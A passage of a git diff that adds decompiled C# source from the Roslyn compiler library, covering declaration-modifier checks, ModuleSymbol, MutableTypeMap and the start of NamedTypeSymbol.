DeclarationModifiers defaultInterfaceImplementationModifiers, Location errorLocation, BindingDiagnosticBag diagnostics) + { + if ((modifiers & defaultInterfaceImplementationModifiers) == 0) + { + return; + } + LanguageVersion languageVersion = ((CSharpParseOptions)(object)errorLocation.SourceTree.Options).LanguageVersion; + if ((modifiers & defaultInterfaceImplementationModifiers & DeclarationModifiers.Static) != DeclarationModifiers.None && (modifiers & defaultInterfaceImplementationModifiers & (DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Virtual)) != DeclarationModifiers.None) + { + DeclarationModifiers declarationModifiers = DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Virtual; + if ((modifiers & defaultInterfaceImplementationModifiers & DeclarationModifiers.Sealed) != DeclarationModifiers.None && (modifiers & defaultInterfaceImplementationModifiers & (DeclarationModifiers.Abstract | DeclarationModifiers.Virtual)) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, errorLocation, ConvertSingleModifierToSyntaxText(DeclarationModifiers.Sealed)); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFFFDu); + } + LanguageVersion languageVersion2 = MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.RequiredVersion(); + if (languageVersion < languageVersion2) + { + ReportUnsupportedModifiersForLanguageVersion(modifiers, declarationModifiers, errorLocation, diagnostics, languageVersion, languageVersion2); + } + } + else if (hasBody) + { + if ((modifiers & defaultInterfaceImplementationModifiers & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + Binder.CheckFeatureAvailability(errorLocation.SourceTree, MessageID.IDS_DefaultInterfaceImplementation, diagnostics, errorLocation); + } + } + else + { + LanguageVersion languageVersion2 = MessageID.IDS_DefaultInterfaceImplementation.RequiredVersion(); + if (languageVersion < languageVersion2) + { + ReportUnsupportedModifiersForLanguageVersion(modifiers, defaultInterfaceImplementationModifiers, errorLocation, diagnostics, languageVersion, languageVersion2); + } + } + } + + internal static void ReportUnsupportedModifiersForLanguageVersion(DeclarationModifiers modifiers, DeclarationModifiers unsupportedModifiers, Location errorLocation, BindingDiagnosticBag diagnostics, LanguageVersion availableVersion, LanguageVersion requiredVersion) + { + DeclarationModifiers declarationModifiers = modifiers & unsupportedModifiers; + CSharpRequiredLanguageVersion cSharpRequiredLanguageVersion = new CSharpRequiredLanguageVersion(requiredVersion); + string text = availableVersion.ToDisplayString(); + while (declarationModifiers != DeclarationModifiers.None) + { + DeclarationModifiers declarationModifiers2 = declarationModifiers & ~(declarationModifiers - 1); + declarationModifiers &= ~declarationModifiers2; + diagnostics.Add(ErrorCode.ERR_InvalidModifierForLanguageVersion, errorLocation, ConvertSingleModifierToSyntaxText(declarationModifiers2), text, cSharpRequiredLanguageVersion); + } + } + + internal static void CheckFeatureAvailabilityForStaticAbstractMembersInInterfacesIfNeeded(DeclarationModifiers mods, bool isExplicitInterfaceImplementation, Location location, BindingDiagnosticBag diagnostics) + { + if (isExplicitInterfaceImplementation && (mods & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + LanguageVersion languageVersion = ((CSharpParseOptions)(object)location.SourceTree.Options).LanguageVersion; + LanguageVersion languageVersion2 = MessageID.IDS_FeatureStaticAbstractMembersInInterfaces.RequiredVersion(); + if (languageVersion < languageVersion2) + { + ReportUnsupportedModifiersForLanguageVersion(mods, DeclarationModifiers.Static, location, diagnostics, languageVersion, languageVersion2); + } + } + } + + internal static DeclarationModifiers AdjustModifiersForAnInterfaceMember(DeclarationModifiers mods, bool hasBody, bool isExplicitInterfaceImplementation) + { + if (isExplicitInterfaceImplementation) + { + if ((mods & DeclarationModifiers.Abstract) != DeclarationModifiers.None) + { + mods |= DeclarationModifiers.Sealed; + } + } + else if ((mods & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + mods = (DeclarationModifiers)((uint)mods & 0xFFFFFFFDu); + } + else if ((mods & (DeclarationModifiers.Abstract | DeclarationModifiers.Private | DeclarationModifiers.Partial | DeclarationModifiers.Virtual)) == 0) + { + mods = ((!hasBody && (mods & (DeclarationModifiers.Sealed | DeclarationModifiers.Extern)) == 0) ? (mods | DeclarationModifiers.Abstract) : (((mods & DeclarationModifiers.Sealed) != DeclarationModifiers.None) ? ((DeclarationModifiers)((uint)mods & 0xFFFFFFFDu)) : (mods | DeclarationModifiers.Virtual))); + } + if ((mods & DeclarationModifiers.AccessibilityMask) == 0) + { + mods = (((mods & DeclarationModifiers.Partial) != DeclarationModifiers.None || isExplicitInterfaceImplementation) ? (mods | DeclarationModifiers.Private) : (mods | DeclarationModifiers.Public)); + } + return mods; + } + + internal static string ConvertSingleModifierToSyntaxText(DeclarationModifiers modifier) + { + return modifier switch + { + DeclarationModifiers.Abstract => SyntaxFacts.GetText(SyntaxKind.AbstractKeyword), + DeclarationModifiers.Sealed => SyntaxFacts.GetText(SyntaxKind.SealedKeyword), + DeclarationModifiers.Static => SyntaxFacts.GetText(SyntaxKind.StaticKeyword), + DeclarationModifiers.New => SyntaxFacts.GetText(SyntaxKind.NewKeyword), + DeclarationModifiers.Public => SyntaxFacts.GetText(SyntaxKind.PublicKeyword), + DeclarationModifiers.Protected => SyntaxFacts.GetText(SyntaxKind.ProtectedKeyword), + DeclarationModifiers.Internal => SyntaxFacts.GetText(SyntaxKind.InternalKeyword), + DeclarationModifiers.ProtectedInternal => SyntaxFacts.GetText(SyntaxKind.ProtectedKeyword) + " " + SyntaxFacts.GetText(SyntaxKind.InternalKeyword), + DeclarationModifiers.Private => SyntaxFacts.GetText(SyntaxKind.PrivateKeyword), + DeclarationModifiers.PrivateProtected => SyntaxFacts.GetText(SyntaxKind.PrivateKeyword) + " " + SyntaxFacts.GetText(SyntaxKind.ProtectedKeyword), + DeclarationModifiers.ReadOnly => SyntaxFacts.GetText(SyntaxKind.ReadOnlyKeyword), + DeclarationModifiers.Const => SyntaxFacts.GetText(SyntaxKind.ConstKeyword), + DeclarationModifiers.Volatile => SyntaxFacts.GetText(SyntaxKind.VolatileKeyword), + DeclarationModifiers.Extern => SyntaxFacts.GetText(SyntaxKind.ExternKeyword), + DeclarationModifiers.Partial => SyntaxFacts.GetText(SyntaxKind.PartialKeyword), + DeclarationModifiers.Unsafe => SyntaxFacts.GetText(SyntaxKind.UnsafeKeyword), + DeclarationModifiers.Fixed => SyntaxFacts.GetText(SyntaxKind.FixedKeyword), + DeclarationModifiers.Virtual => SyntaxFacts.GetText(SyntaxKind.VirtualKeyword), + DeclarationModifiers.Override => SyntaxFacts.GetText(SyntaxKind.OverrideKeyword), + DeclarationModifiers.Async => SyntaxFacts.GetText(SyntaxKind.AsyncKeyword), + DeclarationModifiers.Ref => SyntaxFacts.GetText(SyntaxKind.RefKeyword), + DeclarationModifiers.Required => SyntaxFacts.GetText(SyntaxKind.RequiredKeyword), + DeclarationModifiers.Scoped => SyntaxFacts.GetText(SyntaxKind.ScopedKeyword), + DeclarationModifiers.File => SyntaxFacts.GetText(SyntaxKind.FileKeyword), + _ => throw ExceptionUtilities.UnexpectedValue((object)modifier), + }; + } + + private static DeclarationModifiers ToDeclarationModifier(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.AbstractKeyword => DeclarationModifiers.Abstract, + SyntaxKind.AsyncKeyword => DeclarationModifiers.Async, + SyntaxKind.SealedKeyword => DeclarationModifiers.Sealed, + SyntaxKind.StaticKeyword => DeclarationModifiers.Static, + SyntaxKind.NewKeyword => DeclarationModifiers.New, + SyntaxKind.PublicKeyword => DeclarationModifiers.Public, + SyntaxKind.ProtectedKeyword => DeclarationModifiers.Protected, + SyntaxKind.InternalKeyword => DeclarationModifiers.Internal, + SyntaxKind.PrivateKeyword => DeclarationModifiers.Private, + SyntaxKind.ExternKeyword => DeclarationModifiers.Extern, + SyntaxKind.ReadOnlyKeyword => DeclarationModifiers.ReadOnly, + SyntaxKind.PartialKeyword => DeclarationModifiers.Partial, + SyntaxKind.UnsafeKeyword => DeclarationModifiers.Unsafe, + SyntaxKind.VirtualKeyword => DeclarationModifiers.Virtual, + SyntaxKind.OverrideKeyword => DeclarationModifiers.Override, + SyntaxKind.ConstKeyword => DeclarationModifiers.Const, + SyntaxKind.FixedKeyword => DeclarationModifiers.Fixed, + SyntaxKind.VolatileKeyword => DeclarationModifiers.Volatile, + SyntaxKind.RefKeyword => DeclarationModifiers.Ref, + SyntaxKind.RequiredKeyword => DeclarationModifiers.Required, + SyntaxKind.ScopedKeyword => DeclarationModifiers.Scoped, + SyntaxKind.FileKeyword => DeclarationModifiers.File, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + } + + public static DeclarationModifiers ToDeclarationModifiers(this SyntaxTokenList modifiers, bool isForTypeDeclaration, DiagnosticBag diagnostics, bool isOrdinaryMethod = false) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers declarationModifiers = DeclarationModifiers.None; + bool seenNoDuplicates = true; + for (int i = 0; i < ((SyntaxTokenList)(ref modifiers)).Count; i++) + { + SyntaxToken val = ((SyntaxTokenList)(ref modifiers))[i]; + DeclarationModifiers declarationModifiers2 = ToDeclarationModifier(val.ContextualKind()); + ReportDuplicateModifiers(val, declarationModifiers2, declarationModifiers, ref seenNoDuplicates, diagnostics); + if (declarationModifiers2 == DeclarationModifiers.Partial) + { + (isForTypeDeclaration ? MessageID.IDS_FeaturePartialTypes : MessageID.IDS_FeaturePartialMethod).CheckFeatureAvailability(diagnostics, val); + bool num = i == ((SyntaxTokenList)(ref modifiers)).Count - 1; + bool flag = isOrdinaryMethod && i == ((SyntaxTokenList)(ref modifiers)).Count - 2 && ((SyntaxTokenList)(ref modifiers))[i + 1].ContextualKind() == SyntaxKind.AsyncKeyword; + if (!num && !flag) + { + diagnostics.Add(ErrorCode.ERR_PartialMisplaced, ((SyntaxToken)(ref val)).GetLocation()); + } + } + declarationModifiers |= declarationModifiers2; + } + switch (declarationModifiers & DeclarationModifiers.AccessibilityMask) + { + case DeclarationModifiers.Protected | DeclarationModifiers.Internal: + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFC0Fu); + declarationModifiers |= DeclarationModifiers.ProtectedInternal; + break; + case DeclarationModifiers.Protected | DeclarationModifiers.Private: + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFC0Fu); + declarationModifiers |= DeclarationModifiers.PrivateProtected; + break; + } + return declarationModifiers; + } + + private static void ReportDuplicateModifiers(SyntaxToken modifierToken, DeclarationModifiers modifierKind, DeclarationModifiers allModifiers, ref bool seenNoDuplicates, DiagnosticBag diagnostics) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if ((allModifiers & modifierKind) != DeclarationModifiers.None && seenNoDuplicates) + { + diagnostics.Add(ErrorCode.ERR_DuplicateModifier, ((SyntaxToken)(ref modifierToken)).GetLocation(), SyntaxFacts.GetText(modifierToken.Kind())); + seenNoDuplicates = false; + } + } + + internal static bool CheckAccessibility(DeclarationModifiers modifiers, Symbol symbol, bool isExplicitInterfaceImplementation, BindingDiagnosticBag diagnostics, Location errorLocation) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + if (!IsValidAccessibility(modifiers)) + { + diagnostics.Add(ErrorCode.ERR_BadMemberProtection, errorLocation); + return true; + } + if (!isExplicitInterfaceImplementation && ((int)symbol.Kind != 9 || (modifiers & DeclarationModifiers.Partial) == 0) && (modifiers & DeclarationModifiers.Static) == 0) + { + DeclarationModifiers declarationModifiers = modifiers & DeclarationModifiers.AccessibilityMask; + if (declarationModifiers == DeclarationModifiers.Protected || declarationModifiers == DeclarationModifiers.ProtectedInternal || declarationModifiers == DeclarationModifiers.PrivateProtected) + { + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType != null && containingType.IsInterface && !symbol.ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember, errorLocation); + return true; + } + } + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + bool result; + if ((modifiers & DeclarationModifiers.Required) != DeclarationModifiers.None) + { + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, symbol.ContainingAssembly); + result = false; + if (!(symbol is FieldSymbol)) + { + if (symbol is PropertySymbol { SetMethod: var setMethod }) + { + if ((object)setMethod == null) + { + goto IL_0110; + } + if (!setMethod.IsAsRestrictive(symbol.ContainingType, ref useSiteInfo)) + { + goto IL_00e2; + } + } + } + else + { + if (!symbol.IsAsRestrictive(symbol.ContainingType, ref useSiteInfo)) + { + goto IL_00e2; + } + if ((modifiers & DeclarationModifiers.ReadOnly) != DeclarationModifiers.None) + { + goto IL_0110; + } + } + goto IL_012a; + } + return false; + IL_00e2: + diagnostics.Add(ErrorCode.ERR_RequiredMemberCannotBeLessVisibleThanContainingType, errorLocation, symbol, symbol.ContainingType); + result = true; + goto IL_012a; + IL_0110: + diagnostics.Add(ErrorCode.ERR_RequiredMemberMustBeSettable, errorLocation, symbol); + result = true; + goto IL_012a; + IL_012a: + ((BindingDiagnosticBag)(object)diagnostics).Add(errorLocation, useSiteInfo); + return result; + } + + internal static Accessibility EffectiveAccessibility(DeclarationModifiers modifiers) + { + return (Accessibility)((modifiers & DeclarationModifiers.AccessibilityMask) switch + { + DeclarationModifiers.None => 0, + DeclarationModifiers.Private => 1, + DeclarationModifiers.Protected => 3, + DeclarationModifiers.Internal => 4, + DeclarationModifiers.Public => 6, + DeclarationModifiers.ProtectedInternal => 5, + DeclarationModifiers.PrivateProtected => 2, + _ => 6, + }); + } + + internal static bool IsValidAccessibility(DeclarationModifiers modifiers) + { + switch (modifiers & DeclarationModifiers.AccessibilityMask) + { + case DeclarationModifiers.None: + case DeclarationModifiers.Public: + case DeclarationModifiers.Protected: + case DeclarationModifiers.Internal: + case DeclarationModifiers.ProtectedInternal: + case DeclarationModifiers.Private: + case DeclarationModifiers.PrivateProtected: + return true; + default: + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleSymbol.cs new file mode 100644 index 0000000..cf13258 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleSymbol.cs @@ -0,0 +1,164 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.PortableExecutable; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class ModuleSymbol : Symbol, IModuleSymbolInternal, ISymbolInternal +{ + public abstract NamespaceSymbol GlobalNamespace { get; } + + public override AssemblySymbol ContainingAssembly => (AssemblySymbol)ContainingSymbol; + + internal sealed override ModuleSymbol ContainingModule => null; + + public sealed override SymbolKind Kind => (SymbolKind)10; + + internal abstract int Ordinal { get; } + + internal abstract Machine Machine { get; } + + internal abstract bool Bit32Required { get; } + + internal abstract bool IsMissing { get; } + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override bool IsStatic => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsExtern => false; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public ImmutableArray ReferencedAssemblies => GetReferencedAssemblies(); + + public ImmutableArray ReferencedAssemblySymbols => GetReferencedAssemblySymbols(); + + internal abstract bool HasUnifiedReferences { get; } + + internal abstract ICollection TypeNames { get; } + + internal abstract ICollection NamespaceNames { get; } + + internal abstract bool HasAssemblyCompilationRelaxationsAttribute { get; } + + internal abstract bool HasAssemblyRuntimeCompatibilityAttribute { get; } + + internal abstract bool UseUpdatedEscapeRules { get; } + + internal abstract CharSet? DefaultMarshallingCharSet { get; } + + public abstract bool AreLocalsZeroed { get; } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitModule(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitModule(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitModule(this); + } + + internal ModuleSymbol() + { + } + + internal abstract ImmutableArray GetReferencedAssemblies(); + + internal abstract ImmutableArray GetReferencedAssemblySymbols(); + + internal AssemblySymbol GetReferencedAssemblySymbol(int referencedAssemblyIndex) + { + ImmutableArray referencedAssemblySymbols = GetReferencedAssemblySymbols(); + if (referencedAssemblyIndex < referencedAssemblySymbols.Length) + { + return referencedAssemblySymbols[referencedAssemblyIndex]; + } + AssemblySymbol containingAssembly = ContainingAssembly; + if ((object)containingAssembly != containingAssembly.CorLibrary) + { + throw new ArgumentOutOfRangeException("referencedAssemblyIndex"); + } + return null; + } + + internal abstract void SetReferences(ModuleReferences moduleReferences, SourceAssemblySymbol originatingSourceAssemblyDebugOnly = null); + + internal abstract bool GetUnificationUseSiteDiagnostic(ref DiagnosticInfo result, TypeSymbol dependentType); + + internal abstract NamedTypeSymbol? LookupTopLevelMetadataType(ref MetadataTypeName emittedName); + + internal virtual ImmutableArray GetHash(AssemblyHashAlgorithm algorithmId) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ModuleSymbol.cs", 329); + } + + public NamespaceSymbol GetModuleNamespace(INamespaceSymbol namespaceSymbol) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if (namespaceSymbol == null) + { + throw new ArgumentNullException("namespaceSymbol"); + } + if ((int)namespaceSymbol.NamespaceKind == 1) + { + NamespaceSymbol namespaceSymbol2 = (namespaceSymbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.NamespaceSymbol)?.UnderlyingNamespaceSymbol; + if ((object)namespaceSymbol2 != null && namespaceSymbol2.ContainingModule == this) + { + return namespaceSymbol2; + } + } + if (namespaceSymbol.IsGlobalNamespace || ((ISymbol)namespaceSymbol).ContainingNamespace == null) + { + return GlobalNamespace; + } + return GetModuleNamespace(((ISymbol)namespaceSymbol).ContainingNamespace)?.GetNestedNamespace(((ISymbol)namespaceSymbol).Name); + } + + public NamespaceSymbol GetModuleNamespace(NamespaceSymbol namespaceSymbol) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (namespaceSymbol == null) + { + throw new ArgumentNullException("namespaceSymbol"); + } + if ((int)namespaceSymbol.Extent.Kind == 1 && namespaceSymbol.ContainingModule == this) + { + return namespaceSymbol; + } + if (namespaceSymbol.IsGlobalNamespace || (object)namespaceSymbol.ContainingNamespace == null) + { + return GlobalNamespace; + } + return GetModuleNamespace(namespaceSymbol.ContainingNamespace)?.GetNestedNamespace(namespaceSymbol.Name); + } + + public abstract ModuleMetadata GetMetadata(); + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.ModuleSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleWellKnownAttributeData.cs new file mode 100644 index 0000000..7bde22e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ModuleWellKnownAttributeData.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ModuleWellKnownAttributeData : CommonModuleWellKnownAttributeData, ISkipLocalsInitAttributeTarget +{ + private bool _hasSkipLocalsInitAttribute; + + public bool HasSkipLocalsInitAttribute + { + get + { + return _hasSkipLocalsInitAttribute; + } + set + { + _hasSkipLocalsInitAttribute = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MutableTypeMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MutableTypeMap.cs new file mode 100644 index 0000000..b09dc6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MutableTypeMap.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MutableTypeMap : AbstractTypeParameterMap +{ + internal MutableTypeMap() + : base(new SmallDictionary()) + { + } + + internal void Add(TypeParameterSymbol key, TypeWithAnnotations value) + { + Mapping.Add(key, value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamedTypeSymbol.cs new file mode 100644 index 0000000..97db2e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/NamedTypeSymbol.cs @@ -0,0 +1,2709 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class NamedTypeSymbol : TypeSymbol, ITypeReference, IReference, ITypeDefinition, IDefinition, INamedTypeReference, INamedEntity, INamedTypeDefinition, INamespaceTypeReference, INamespaceTypeDefinition, INestedTypeReference, ITypeMemberReference, INestedTypeDefinition, ITypeDefinitionMember, IGenericTypeInstanceReference, ISpecializedNestedTypeReference, INamedTypeSymbolInternal, ITypeSymbolInternal, INamespaceOrTypeSymbolInternal, ISymbolInternal +{ + internal sealed class TupleExtraData + { + private ImmutableArray _lazyElementTypes; + + private ImmutableArray _lazyDefaultElementFields; + + private SmallDictionary? _lazyUnderlyingDefinitionToMemberMap; + + internal ImmutableArray ElementNames { get; } + + internal ImmutableArray ElementLocations { get; } + + internal ImmutableArray ErrorPositions { get; } + + internal ImmutableArray Locations { get; } + + internal NamedTypeSymbol TupleUnderlyingType { get; } + + internal SmallDictionary UnderlyingDefinitionToMemberMap + { + get + { + return _lazyUnderlyingDefinitionToMemberMap ?? (_lazyUnderlyingDefinitionToMemberMap = computeDefinitionToMemberMap()); + SmallDictionary computeDefinitionToMemberMap() + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected I4, but got Unknown + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + SmallDictionary val = new SmallDictionary((IEqualityComparer)ReferenceEqualityComparer.Instance); + ImmutableArray members = TupleUnderlyingType.GetMembers(); + for (int num = members.Length - 1; num >= 0; num--) + { + Symbol symbol = members[num]; + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 4; + case 4: + case 6: + val.Add(symbol.OriginalDefinition, symbol); + continue; + case 1: + { + FieldSymbol tupleUnderlyingField = ((FieldSymbol)symbol).TupleUnderlyingField; + if ((object)tupleUnderlyingField != null) + { + val[(Symbol)tupleUnderlyingField.OriginalDefinition] = symbol; + } + continue; + } + case 0: + { + EventSymbol eventSymbol = (EventSymbol)symbol; + FieldSymbol associatedField = eventSymbol.AssociatedField; + if ((object)associatedField != null) + { + val.Add((Symbol)associatedField.OriginalDefinition, (Symbol)associatedField); + } + val.Add((Symbol)eventSymbol.OriginalDefinition, symbol); + continue; + } + case 2: + case 3: + case 5: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return val; + } + } + } + + internal TupleExtraData(NamedTypeSymbol underlyingType) + { + TupleUnderlyingType = underlyingType; + Locations = ImmutableArray.Empty; + } + + internal TupleExtraData(NamedTypeSymbol underlyingType, ImmutableArray elementNames, ImmutableArray elementLocations, ImmutableArray errorPositions, ImmutableArray locations) + : this(underlyingType) + { + ElementNames = elementNames; + ElementLocations = elementLocations; + ErrorPositions = errorPositions; + Locations = ImmutableArrayExtensions.NullToEmpty(locations); + } + + internal bool EqualsIgnoringTupleUnderlyingType(TupleExtraData? other) + { + if (other == null && ElementNames.IsDefault && ElementLocations.IsDefault && ErrorPositions.IsDefault) + { + return true; + } + if (other != null && areEqual(ElementNames, other.ElementNames) && areEqual(ElementLocations, other.ElementLocations)) + { + return areEqual(ErrorPositions, other.ErrorPositions); + } + return false; + static bool areEqual(ImmutableArray one, ImmutableArray items) + { + if (one.IsDefault && items.IsDefault) + { + return true; + } + if (one.IsDefault != items.IsDefault) + { + return false; + } + return one.SequenceEqual(items); + } + } + + public ImmutableArray TupleElementTypesWithAnnotations(NamedTypeSymbol tuple) + { + if (_lazyElementTypes.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyElementTypes, collectTupleElementTypesWithAnnotations(tuple)); + } + return _lazyElementTypes; + static ImmutableArray collectTupleElementTypesWithAnnotations(NamedTypeSymbol namedTypeSymbol) + { + if (namedTypeSymbol.Arity == 8) + { + ImmutableArray tupleElementTypesWithAnnotations = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[7].Type.TupleElementTypesWithAnnotations; + ArrayBuilder instance = ArrayBuilder.GetInstance(7 + tupleElementTypesWithAnnotations.Length); + instance.AddRange(namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics, 7); + instance.AddRange(tupleElementTypesWithAnnotations); + return instance.ToImmutableAndFree(); + } + return namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + } + } + + public ImmutableArray TupleElements(NamedTypeSymbol tuple) + { + if (_lazyDefaultElementFields.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyDefaultElementFields, collectTupleElementFields(tuple)); + } + return _lazyDefaultElementFields; + ImmutableArray collectTupleElementFields(NamedTypeSymbol namedTypeSymbol) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(TupleElementTypesWithAnnotations(namedTypeSymbol).Length, (FieldSymbol)null); + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 6) + { + FieldSymbol fieldSymbol = (FieldSymbol)current; + int tupleElementIndex = fieldSymbol.TupleElementIndex; + if (tupleElementIndex >= 0) + { + FieldSymbol fieldSymbol2 = instance[tupleElementIndex]; + if ((object)fieldSymbol2 == null || fieldSymbol2.IsDefaultTupleElement) + { + instance[tupleElementIndex] = fieldSymbol; + } + } + } + } + return instance.ToImmutableAndFree(); + } + } + + public TMember? GetTupleMemberSymbolForUnderlyingMember(TMember? underlyingMemberOpt) where TMember : Symbol + { + if ((object)underlyingMemberOpt == null) + { + return null; + } + Symbol symbol = underlyingMemberOpt.OriginalDefinition; + if (symbol is TupleElementFieldSymbol tupleElementFieldSymbol) + { + symbol = tupleElementFieldSymbol.UnderlyingField; + } + Symbol symbol2 = default(Symbol); + if (TypeSymbol.Equals(symbol.ContainingType, TupleUnderlyingType.OriginalDefinition, (TypeCompareKind)0) && UnderlyingDefinitionToMemberMap.TryGetValue(symbol, ref symbol2)) + { + return (TMember)symbol2; + } + return null; + } + } + + private bool _hasNoBaseCycles; + + private static readonly ImmutableSegmentedDictionary RequiredMembersErrorSentinel = ImmutableSegmentedDictionary.Empty.Add("", (Symbol)null); + + private ImmutableSegmentedDictionary _lazyRequiredMembers; + + protected static Func IsInstanceFieldOrEvent = delegate(Symbol symbol) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + if (!symbol.IsStatic) + { + SymbolKind kind = symbol.Kind; + if (kind - 5 <= 1) + { + return true; + } + } + return false; + }; + + internal static readonly Func TypeWithAnnotationsIsNullFunction = (TypeWithAnnotations type) => !type.HasType; + + internal static readonly Func 